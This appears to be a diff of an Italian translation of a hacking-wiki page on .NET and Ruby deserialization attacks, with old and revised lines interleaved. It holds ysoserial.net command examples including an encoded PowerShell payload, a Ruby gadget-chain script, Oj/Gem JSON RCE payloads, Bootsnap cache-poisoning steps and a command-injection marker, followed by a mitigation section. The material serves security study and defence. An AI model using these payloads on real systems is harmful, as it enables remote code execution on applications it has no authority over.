In questo caso puoi utilizzare lo strumento [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) per **creare gli exploit di deserializzazione**. Una volta scaricato il repository git, dovresti **compilare lo strumento** utilizzando Visual Studio, ad esempio.
|
||||
In questo caso puoi usare lo strumento [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) per **creare gli exploit di deserialization**. Una volta scaricato il repository git dovresti **compilare lo strumento** usando Visual Studio, per esempio.
|
||||
|
||||
Se vuoi sapere **come ysoserial.net crea il suo exploit** puoi [**controllare questa pagina dove viene spiegato il gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
Se vuoi imparare **come ysoserial.net crea il suo exploit** puoi [**controllare questa pagina dove viene spiegato il gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
|
||||
Le principali opzioni di **ysoserial.net** sono: **`--gadget`**, **`--formatter`**, **`--output`** e **`--plugin`.**
|
||||
Le opzioni principali di **ysoserial.net** sono: **`--gadget`**, **`--formatter`**, **`--output`** e **`--plugin`.**
|
||||
|
||||
- **`--gadget`** utilizzato per indicare il gadget da abusare (indica la classe/funzione che verrà abusata durante la deserializzazione per eseguire comandi).
|
||||
- **`--formatter`**, utilizzato per indicare il metodo per serializzare l'exploit (devi sapere quale libreria sta utilizzando il back-end per deserializzare il payload e utilizzare la stessa per serializzarlo)
|
||||
- **`--output`** utilizzato per indicare se vuoi l'exploit in **raw** o **base64** codificato. _Nota che **ysoserial.net** **coderà** il payload utilizzando **UTF-16LE** (codifica utilizzata per impostazione predefinita su Windows) quindi se ottieni il raw e lo codifichi semplicemente da una console linux potresti avere alcuni **problemi di compatibilità di codifica** che impediranno all'exploit di funzionare correttamente (nella box JSON di HTB il payload ha funzionato sia in UTF-16LE che in ASCII, ma questo non significa che funzionerà sempre)._
|
||||
- **`--gadget`** usata per indicare il gadget da abusare (indicare la class/function che verrà sfruttata durante la deserializzazione per eseguire comandi).
|
||||
- **`--formatter`**, usata per indicare il metodo con cui serializzare l'exploit (devi sapere quale libreria usa il back-end per deserializzare il payload e usare la stessa per serializzarlo)
|
||||
- **`--output`** usata per indicare se vuoi l'exploit in formato **raw** o **base64**. _Nota che **ysoserial.net** **encoderà** il payload usando **UTF-16LE** (encoding usato di default su Windows) quindi se ottieni il raw e lo codifichi semplicemente da una console linux potresti avere alcuni **problemi di compatibilità di encoding** che impediranno all'exploit di funzionare correttamente (in una box JSON di HTB il payload ha funzionato sia in UTF-16LE che in ASCII ma questo non significa che funzionerà sempre)._
|
||||
- **`--plugin`** ysoserial.net supporta plugin per creare **exploit per framework specifici** come ViewState
|
||||
|
||||
#### Altri parametri di ysoserial.net
|
||||
#### More ysoserial.net parameters
|
||||
|
||||
- `--minify` fornirà un **payload più piccolo** (se possibile)
|
||||
- `--raf -f Json.Net -c "anything"` Questo indicherà tutti i gadget che possono essere utilizzati con un formatter fornito (`Json.Net` in questo caso)
|
||||
- `--sf xml` puoi **indicare un gadget** (`-g`) e ysoserial.net cercherà formatter contenenti "xml" (case insensitive)
|
||||
- `--minify` will provide a **smaller payload** (if possible)
|
||||
- `--raf -f Json.Net -c "anything"` This will indicate all the gadgets that can be used with a provided formatter (`Json.Net` in this case)
|
||||
- `--sf xml` you can **indicate a gadget** (`-g`)and ysoserial.net will search for formatters containing "xml" (case insensitive)
|
||||
|
||||
**Esempi di ysoserial** per creare exploit:
|
||||
**ysoserial examples** to create exploits:
|
||||
```bash
|
||||
#Send ping
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
|
||||
@ -737,7 +751,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand S
|
||||
```
|
||||
**ysoserial.net** ha anche un **parametro molto interessante** che aiuta a comprendere meglio come funziona ogni exploit: `--test`\
|
||||
Se indichi questo parametro, **ysoserial.net** **proverà** l'**exploit localmente,** così puoi testare se il tuo payload funzionerà correttamente.\
|
||||
Questo parametro è utile perché se rivedi il codice troverai pezzi di codice come il seguente (da [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
Questo parametro è utile perché, se esamini il codice, troverai blocchi di codice come il seguente (da [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
```java
|
||||
if (inputArgs.Test)
|
||||
{
|
||||
@ -751,7 +765,7 @@ Debugging.ShowErrors(inputArgs, err);
|
||||
}
|
||||
}
|
||||
```
|
||||
Questo significa che per testare l'exploit, il codice chiamerà [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
|
||||
Ciò significa che, per testare l'exploit, il codice chiamerà [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
|
||||
```java
|
||||
public static object JsonNet_deserialize(string str)
|
||||
{
|
||||
@ -762,46 +776,46 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
return obj;
|
||||
}
|
||||
```
|
||||
Nel **codice precedente è vulnerabile all'exploit creato**. Quindi, se trovi qualcosa di simile in un'applicazione .Net, significa che probabilmente anche quell'applicazione è vulnerabile.\
|
||||
Pertanto, il parametro **`--test`** ci consente di capire **quali parti di codice sono vulnerabili** all'exploit di deserializzazione che **ysoserial.net** può creare.
|
||||
Nell'esempio precedente il codice è vulnerabile all'exploit creato. Quindi se trovi qualcosa di simile in un'applicazione .Net significa che probabilmente anche quell'applicazione è vulnerabile.
|
||||
Pertanto il parametro **`--test`** ci permette di capire **quali parti di codice sono vulnerabili** all'exploit di deserializzazione che **ysoserial.net** può creare.
|
||||
|
||||
### ViewState
|
||||
|
||||
Dai un'occhiata a [questo POST su **come provare a sfruttare il parametro \_\_ViewState di .Net**](exploiting-__viewstate-parameter.md) per **eseguire codice arbitrario.** Se **conosci già i segreti** utilizzati dalla macchina vittima, [**leggi questo post per sapere come eseguire codice**](exploiting-__viewstate-knowing-the-secret.md)**.**
|
||||
Dai un'occhiata a [questo POST su **come provare a sfruttare il parametro __ViewState di .Net** ](exploiting-__viewstate-parameter.md) per **eseguire codice arbitrario.** Se **conosci già i segreti** usati dalla macchina vittima, [**leggi questo post per sapere come eseguire codice**](exploiting-__viewstate-knowing-the-secret.md).
|
||||
|
||||
### Prevenzione
|
||||
|
||||
Per mitigare i rischi associati alla deserializzazione in .Net:
|
||||
|
||||
- **Evitare di consentire ai flussi di dati di definire i propri tipi di oggetto.** Utilizzare `DataContractSerializer` o `XmlSerializer` quando possibile.
|
||||
- **Evitare di permettere ai flussi di dati di definire i tipi di oggetti.** Utilizzare `DataContractSerializer` o `XmlSerializer` quando possibile.
|
||||
- **Per `JSON.Net`, impostare `TypeNameHandling` su `None`:** `TypeNameHandling = TypeNameHandling.None`
|
||||
- **Evitare di utilizzare `JavaScriptSerializer` con un `JavaScriptTypeResolver`.**
|
||||
- **Limitare i tipi che possono essere deserializzati**, comprendendo i rischi intrinseci con i tipi .Net, come `System.IO.FileInfo`, che può modificare le proprietà dei file del server, portando potenzialmente ad attacchi di denial of service.
|
||||
- **Essere cauti con i tipi che hanno proprietà rischiose**, come `System.ComponentModel.DataAnnotations.ValidationException` con la sua proprietà `Value`, che può essere sfruttata.
|
||||
- **Controllare in modo sicuro l'istanza dei tipi** per prevenire che gli attaccanti influenzino il processo di deserializzazione, rendendo vulnerabili anche `DataContractSerializer` o `XmlSerializer`.
|
||||
- **Implementare controlli di white list** utilizzando un `SerializationBinder` personalizzato per `BinaryFormatter` e `JSON.Net`.
|
||||
- **Rimanere informati sui gadget di deserializzazione insicuri noti** all'interno di .Net e assicurarsi che i deserializzatori non istanzino tali tipi.
|
||||
- **Isolare il codice potenzialmente rischioso** dal codice con accesso a Internet per evitare di esporre gadget noti, come `System.Windows.Data.ObjectDataProvider` nelle applicazioni WPF, a fonti di dati non attendibili.
|
||||
- **Evitare di usare `JavaScriptSerializer` con un `JavaScriptTypeResolver`.**
|
||||
- **Limitare i tipi che possono essere deserializzati**, comprendendo i rischi intrinseci dei tipi .Net, come `System.IO.FileInfo`, che può modificare proprietà dei file sul server, potenzialmente portando ad attacchi di denial of service.
|
||||
- **Prestare attenzione ai tipi con proprietà rischiose**, come `System.ComponentModel.DataAnnotations.ValidationException` con la proprietà `Value`, che può essere sfruttata.
|
||||
- **Controllare in modo sicuro l'instanziazione dei tipi** per impedire agli attaccanti di influenzare il processo di deserializzazione, rendendo vulnerabili anche `DataContractSerializer` o `XmlSerializer`.
|
||||
- **Implementare controlli di whitelist** usando un `SerializationBinder` personalizzato per `BinaryFormatter` e `JSON.Net`.
|
||||
- **Rimanere informati sui gadget noti per deserializzazione insicura** all'interno di .Net e assicurarsi che i deserializer non istanzino tali tipi.
|
||||
- **Isolare il codice potenzialmente rischioso** dal codice con accesso a Internet per evitare di esporre gadget noti, come `System.Windows.Data.ObjectDataProvider` nelle applicazioni WPF, a fonti di dati non affidabili.
|
||||
|
||||
### **Riferimenti**
|
||||
|
||||
- Documento sulla deserializzazione JSON di Java e .Net **: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slide: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- Paper su deserializzazione JSON per Java e .Net **:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
|
||||
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
|
||||
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
||||
|
||||
## **Ruby**
|
||||
|
||||
In Ruby, la serializzazione è facilitata da due metodi all'interno della libreria **marshal**. Il primo metodo, noto come **dump**, viene utilizzato per trasformare un oggetto in un flusso di byte. Questo processo è noto come serializzazione. Al contrario, il secondo metodo, **load**, viene impiegato per riportare un flusso di byte indietro in un oggetto, un processo noto come deserializzazione.
|
||||
In Ruby, la serializzazione è facilitata da due metodi all'interno della libreria **marshal**. Il primo metodo, chiamato **dump**, viene usato per trasformare un oggetto in un flusso di byte. Questo processo è definito serializzazione. Viceversa, il secondo metodo, **load**, viene impiegato per convertire un flusso di byte nuovamente in un oggetto, processo noto come deserializzazione.
|
||||
|
||||
Per proteggere gli oggetti serializzati, **Ruby utilizza HMAC (Hash-Based Message Authentication Code)**, garantendo l'integrità e l'autenticità dei dati. La chiave utilizzata per questo scopo è memorizzata in uno dei diversi possibili luoghi:
|
||||
Per proteggere gli oggetti serializzati, **Ruby utilizza HMAC (Hash-Based Message Authentication Code)**, garantendo l'integrità e l'autenticità dei dati. La chiave utilizzata a questo scopo è memorizzata in una delle seguenti posizioni:
|
||||
|
||||
- `config/environment.rb`
|
||||
- `config/initializers/secret_token.rb`
|
||||
- `config/secrets.yml`
|
||||
- `/proc/self/environ`
|
||||
|
||||
**Catena di gadget di deserializzazione generica Ruby 2.X a RCE (maggiori informazioni in** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
|
||||
**Ruby 2.X generic deserialization to RCE gadget chain (more info in** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**):**
|
||||
```ruby
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
@ -874,16 +888,16 @@ puts Base64.encode64(payload)
|
||||
```
|
||||
Altra catena RCE per sfruttare Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||
|
||||
### Metodo Ruby .send()
|
||||
### Metodo .send() di Ruby
|
||||
|
||||
Come spiegato in [**questo rapporto di vulnerabilità**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), se un input non sanitizzato di un utente raggiunge il metodo `.send()` di un oggetto ruby, questo metodo consente di **invocare qualsiasi altro metodo** dell'oggetto con qualsiasi parametro.
|
||||
As explained in [**this vulnerability report**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), se un input non sanificato dall'utente raggiunge il metodo `.send()` di un oggetto Ruby, questo metodo consente di **invocare qualsiasi altro metodo** dell'oggetto con qualsiasi parametro.
|
||||
|
||||
Ad esempio, chiamare eval e poi codice ruby come secondo parametro permetterà di eseguire codice arbitrario:
|
||||
Ad esempio, chiamare `eval` e poi codice Ruby come secondo parametro permetterà di eseguire codice arbitrario:
|
||||
```ruby
|
||||
<Object>.send('eval', '<user input with Ruby code>') == RCE
|
||||
```
|
||||
Inoltre, se solo un parametro di **`.send()`** è controllato da un attaccante, come menzionato nel precedente documento, è possibile chiamare qualsiasi metodo dell'oggetto che **non necessita di argomenti** o i cui argomenti hanno **valori predefiniti**.\
|
||||
Per questo, è possibile enumerare tutti i metodi dell'oggetto per **trovare alcuni metodi interessanti che soddisfano tali requisiti**.
|
||||
Inoltre, se solo un parametro di **`.send()`** è controllato da un attacker, come menzionato nello writeup precedente, è possibile chiamare qualsiasi metodo dell'oggetto che **non richiede argomenti** o i cui argomenti hanno **valori predefiniti**.\
|
||||
Per questo, è possibile enumerare tutti i metodi dell'oggetto per **trovare alcuni metodi interessanti che soddisfano questi requisiti**.
|
||||
```ruby
|
||||
<Object>.send('<user_input>')
|
||||
|
||||
@ -905,25 +919,25 @@ candidate_methods = repo_methods.select() do |method_name|
|
||||
end
|
||||
candidate_methods.length() # Final number of methods=> 3595
|
||||
```
|
||||
### Inquinamento della classe Ruby
|
||||
### Ruby class pollution
|
||||
|
||||
Controlla come potrebbe essere possibile [inquinare una classe Ruby e abusarne qui](ruby-class-pollution.md).
|
||||
Controlla come potrebbe essere possibile [pollute a Ruby class and abuse it in here](ruby-class-pollution.md).
|
||||
|
||||
### Inquinamento _json di Ruby
|
||||
### Ruby _json pollution
|
||||
|
||||
Quando si inviano nel corpo alcuni valori non hashable come un array, verranno aggiunti a una nuova chiave chiamata `_json`. Tuttavia, è possibile per un attaccante impostare nel corpo un valore chiamato `_json` con i valori arbitrari che desidera. Quindi, se il backend, ad esempio, controlla la veridicità di un parametro ma poi utilizza anche il parametro `_json` per eseguire un'azione, potrebbe verificarsi un bypass dell'autorizzazione.
|
||||
Quando si inviano nel body alcuni valori non hashable come un array, questi vengono aggiunti in una nuova chiave chiamata `_json`. Tuttavia, è possibile per un attacker impostare nel body un valore chiamato `_json` con i valori arbitrari che desidera. Quindi, se il backend per esempio verifica la veridicità di un parametro ma poi usa anche il parametro `_json` per eseguire un'azione, si potrebbe effettuare un bypass di autorizzazione.
|
||||
|
||||
Controlla ulteriori informazioni nella [pagina di inquinamento _json di Ruby](ruby-_json-pollution.md).
|
||||
Consulta la [Ruby _json pollution page](ruby-_json-pollution.md) per maggiori informazioni.
|
||||
|
||||
### Altre librerie
|
||||
|
||||
Questa tecnica è stata presa [**da questo post del blog**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
Questa tecnica è stata tratta [ **da questo post del blog**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
|
||||
Ci sono altre librerie Ruby che possono essere utilizzate per serializzare oggetti e quindi potrebbero essere abusate per ottenere RCE durante una deserializzazione insicura. La seguente tabella mostra alcune di queste librerie e il metodo che chiamano della libreria caricata ogni volta che viene deserializzata (funzione da abusare per ottenere RCE fondamentalmente):
|
||||
Ci sono altre librerie Ruby che possono essere usate per serializzare oggetti e che quindi potrebbero essere abusate per ottenere RCE durante una deserializzazione insicura. La tabella seguente mostra alcune di queste librerie e il metodo che viene chiamato della classe caricata ogni volta che viene deserializzata (funzione da abusare per ottenere RCE):
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Libreria</strong></td><td><strong>Dati di input</strong></td><td><strong>Metodo di avvio all'interno della classe</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binario</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (la classe deve essere inserita in hash(mappa) come chiave)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (la classe deve essere inserita in hash(mappa) come chiave)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (la classe deve essere inserita in hash(mappa) come chiave)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([vedi note riguardanti json_create alla fine](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Libreria</strong></td><td><strong>Dati in input</strong></td><td><strong>Metodo invocato nella classe</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (class needs to be put into hash(map) as key)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([vedi note riguardo json_create alla fine](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
|
||||
Esempio base:
|
||||
Esempio di base:
|
||||
```ruby
|
||||
# Existing Ruby class inside the code of the app
|
||||
class SimpleClass
|
||||
@ -945,7 +959,7 @@ puts json_payload
|
||||
# Sink vulnerable inside the code accepting user input as json_payload
|
||||
Oj.load(json_payload)
|
||||
```
|
||||
Nel caso in cui si tenti di abusare di Oj, è stato possibile trovare una classe gadget che all'interno della sua funzione `hash` chiamerà `to_s`, che chiamerà spec, che chiamerà fetch_path, il quale è stato possibile farlo recuperare un URL casuale, fornendo un ottimo rilevatore di questo tipo di vulnerabilità di deserializzazione non sanificate.
|
||||
Nel caso di un tentativo di abuso di Oj, è stato possibile trovare una classe gadget che, all'interno della sua funzione `hash`, chiamava `to_s`, che chiamava spec, che a sua volta chiamava fetch_path; è stato possibile far sì che fetch_path recuperasse un URL casuale, offrendo un ottimo rilevatore per questo tipo di vulnerabilità di deserializzazione non sanificate.
|
||||
```json
|
||||
{
|
||||
"^o": "URI::HTTP",
|
||||
@ -957,7 +971,7 @@ Nel caso in cui si tenti di abusare di Oj, è stato possibile trovare una classe
|
||||
"password": "anypw"
|
||||
}
|
||||
```
|
||||
Inoltre, è stato scoperto che con la tecnica precedente viene creata anche una cartella nel sistema, che è un requisito per abusare di un altro gadget al fine di trasformare questo in un RCE completo con qualcosa come:
|
||||
Inoltre, è stato riscontrato che con la tecnica precedente viene anche creato un folder nel sistema, che è un requisito per abusare di un altro gadget al fine di trasformare questo in una RCE completa con qualcosa del tipo:
|
||||
```json
|
||||
{
|
||||
"^o": "Gem::Resolver::SpecSpecification",
|
||||
@ -979,48 +993,50 @@ Inoltre, è stato scoperto che con la tecnica precedente viene creata anche una
|
||||
}
|
||||
}
|
||||
```
|
||||
Controlla ulteriori dettagli nel [**post originale**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
Per maggiori dettagli, vedi il [**original post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
|
||||
### Bootstrap Caching
|
||||
|
||||
Non è realmente una vulnerabilità di deserializzazione, ma un bel trucco per abusare della cache di bootstrap per ottenere RCE da un'applicazione Rails con una scrittura di file arbitraria (trova il [post originale completo qui](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
|
||||
Non è propriamente una vulnerabilità di desearilization ma è un bel trucco per abusare del bootstrap caching per ottenere RCE da un'app Rails con un arbitrary file write (trova il post completo qui: [original post in here](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
|
||||
|
||||
Di seguito è riportato un breve riassunto dei passaggi dettagliati nell'articolo per sfruttare una vulnerabilità di scrittura di file arbitraria abusando della cache di Bootsnap:
|
||||
Di seguito un breve riassunto dei passaggi dettagliati nell'articolo per sfruttare una vulnerabilità di arbitrary file write abusando della cache di Bootsnap:
|
||||
|
||||
- Identificare la Vulnerabilità e l'Ambiente
|
||||
- Identify the Vulnerability and Environment
|
||||
|
||||
La funzionalità di upload di file dell'app Rails consente a un attaccante di scrivere file arbitrariamente. Anche se l'app funziona con restrizioni (solo alcune directory come tmp sono scrivibili a causa dell'utente non root di Docker), questo consente comunque di scrivere nella directory della cache di Bootsnap (tipicamente sotto tmp/cache/bootsnap).
|
||||
La funzionalità di upload file dell'app Rails permette a un attacker di scrivere file arbitrariamente. Anche se l'app gira con restrizioni (solo certe directory come tmp sono scrivibili a causa dell'uso di Docker con non-root user), questo permette comunque di scrivere nella Bootsnap cache directory (tipicamente sotto tmp/cache/bootsnap).
|
||||
|
||||
- Comprendere il Meccanismo di Cache di Bootsnap
|
||||
- Understand Bootsnap’s Cache Mechanism
|
||||
|
||||
Bootsnap accelera i tempi di avvio di Rails memorizzando nella cache il codice Ruby compilato, i file YAML e JSON. Memorizza file di cache che includono un'intestazione della chiave di cache (con campi come versione Ruby, dimensione del file, mtime, opzioni di compilazione, ecc.) seguita dal codice compilato. Questa intestazione viene utilizzata per convalidare la cache durante l'avvio dell'app.
|
||||
Bootsnap velocizza i tempi di boot di Rails mettendo in cache codice Ruby compilato, YAML e file JSON. Memorizza file di cache che includono un cache key header (con campi come versione di Ruby, dimensione del file, mtime, compile options, ecc.) seguito dal codice compilato. Questo header viene usato per validare la cache durante l'avvio dell'app.
|
||||
|
||||
- Raccogliere i Metadati del File
|
||||
- Gather File Metadata
|
||||
|
||||
L'attaccante seleziona prima un file target che è probabile venga caricato durante l'avvio di Rails (ad esempio, set.rb dalla libreria standard di Ruby). Eseguendo codice Ruby all'interno del contenitore, estrae metadati critici (come RUBY_VERSION, RUBY_REVISION, dimensione, mtime e compile_option). Questi dati sono essenziali per creare una chiave di cache valida.
|
||||
L'attacker seleziona innanzitutto un file target che è probabile venga caricato durante l'avvio di Rails (per esempio set.rb dalla standard library di Ruby). Eseguendo codice Ruby all'interno del container, estrae metadata critici (come RUBY_VERSION, RUBY_REVISION, size, mtime e compile_option). Questi dati sono essenziali per costruire una cache key valida.
|
||||
|
||||
- Calcolare il Percorso del File di Cache
|
||||
- Compute the Cache File Path
|
||||
|
||||
Replicando il meccanismo di hash FNV-1a a 64 bit di Bootsnap, viene determinato il corretto percorso del file di cache. Questo passaggio garantisce che il file di cache malevolo venga posizionato esattamente dove Bootsnap si aspetta (ad esempio, sotto tmp/cache/bootsnap/compile-cache-iseq/).
|
||||
Replicando il meccanismo di hashing FNV-1a 64-bit di Bootsnap, si determina il corretto percorso del file di cache. Questo passaggio garantisce che il file di cache malevolo venga posizionato esattamente dove Bootsnap se lo aspetta (es. sotto tmp/cache/bootsnap/compile-cache-iseq/).
|
||||
|
||||
- Creare il File di Cache Malevolo
|
||||
- Craft the Malicious Cache File
|
||||
|
||||
L'attaccante prepara un payload che:
|
||||
L'attacker prepara un payload che:
|
||||
- Executes arbitrary commands (for example, running id to show process info).
|
||||
- Rimuove la cache malevola dopo l'esecuzione per prevenire sfruttamenti ricorsivi.
|
||||
- Carica il file originale (es. set.rb) per evitare il crash dell'applicazione.
|
||||
|
||||
- Esegue comandi arbitrari (ad esempio, eseguendo id per mostrare informazioni sul processo).
|
||||
- Rimuove la cache malevola dopo l'esecuzione per prevenire sfruttamenti ricorsivi.
|
||||
- Carica il file originale (ad esempio, set.rb) per evitare di far crashare l'applicazione.
|
||||
Questo payload viene compilato in codice Ruby binario e concatenato con un cache key header costruito con cura (usando i metadata raccolti e il numero di versione corretto per Bootsnap).
|
||||
|
||||
Questo payload viene compilato in codice Ruby binario e concatenato con un'intestazione della chiave di cache accuratamente costruita (utilizzando i metadati raccolti in precedenza e il numero di versione corretto per Bootsnap).
|
||||
- Overwrite and Trigger Execution
|
||||
|
||||
- Sovrascrivere e Attivare l'Esecuzione
|
||||
Utilizzando la vulnerabilità di scrittura di file arbitraria, l'attaccante scrive il file di cache creato nella posizione calcolata. Successivamente, attivano un riavvio del server (scrivendo in tmp/restart.txt, che è monitorato da Puma). Durante il riavvio, quando Rails richiede il file target, il file di cache malevolo viene caricato, risultando in un'esecuzione di codice remoto (RCE).
|
||||
Usando la vulnerabilità di arbitrary file write, l'attacker scrive il file di cache creato nel percorso calcolato. Successivamente, provoca un restart del server (scrivendo su tmp/restart.txt, che è monitorato da Puma). Durante il restart, quando Rails richiede il file target, il file di cache malevolo viene caricato, causando remote code execution (RCE).
|
||||
|
||||
### Sfruttamento di Ruby Marshal in pratica (aggiornato)
|
||||
|
||||
Tratta qualsiasi percorso in cui byte non attendibili raggiungono `Marshal.load`/`marshal_load` come un sink RCE. Marshal ricostruisce grafi di oggetti arbitrari e attiva callback di librerie/gem durante la materializzazione.
|
||||
|
||||
- Percorso di codice Rails vulnerabile minimo:
|
||||
### Ruby Marshal exploitation in practice (updated)
|
||||
|
||||
Treat any path where untrusted bytes reach `Marshal.load`/`marshal_load` as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.
|
||||
|
||||
- Minimal vulnerable Rails code path:
|
||||
```ruby
|
||||
class UserRestoreController < ApplicationController
|
||||
def show
|
||||
@ -1035,19 +1051,19 @@ end
|
||||
end
|
||||
```
|
||||
- Classi di gadget comuni viste in catene reali: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
|
||||
- Marcatori di effetti collaterali tipici incorporati nei payload (eseguiti durante l'unmarshal):
|
||||
- Tipico marcatore di effetti collaterali incorporato nei payloads (eseguito durante l'unmarshal):
|
||||
```
|
||||
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
|
||||
```
|
||||
Dove si presenta nelle app reali:
|
||||
- I cache store di Rails e i session store storicamente utilizzano Marshal
|
||||
- Backend di lavori in background e store di oggetti basati su file
|
||||
- Qualsiasi persistenza personalizzata o trasporto di blob di oggetti binari
|
||||
Dove si manifesta nelle app reali:
|
||||
- Store della cache e delle sessioni in Rails che storicamente usano Marshal
|
||||
- Backend per background job e object store basati su file
|
||||
- Qualsiasi persistenza o trasporto personalizzato di blob di oggetti binari
|
||||
|
||||
Scoperta industrializzata di gadget:
|
||||
- Grep per costruttori, `hash`, `_load`, `init_with`, o metodi con effetti collaterali invocati durante l'unmarshal
|
||||
- Utilizzare le query di deserializzazione non sicura di Ruby di CodeQL per tracciare fonti → sink e scoprire gadget
|
||||
- Validare con PoC pubblici multi-formato (JSON/XML/YAML/Marshal)
|
||||
- Eseguire grep per constructors, `hash`, `_load`, `init_with`, o metodi con effetti collaterali invocati durante l'unmarshal
|
||||
- Usare le query Ruby di unsafe deserialization di CodeQL per tracciare sources → sinks e far emergere gadget
|
||||
- Validare con PoC multi-formato pubblici (JSON/XML/YAML/Marshal)
|
||||
|
||||
|
||||
## Riferimenti
|
||||
@ -1066,5 +1082,6 @@ Scoperta industrializzata di gadget:
|
||||
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
|
||||
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
|
||||
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
|
||||
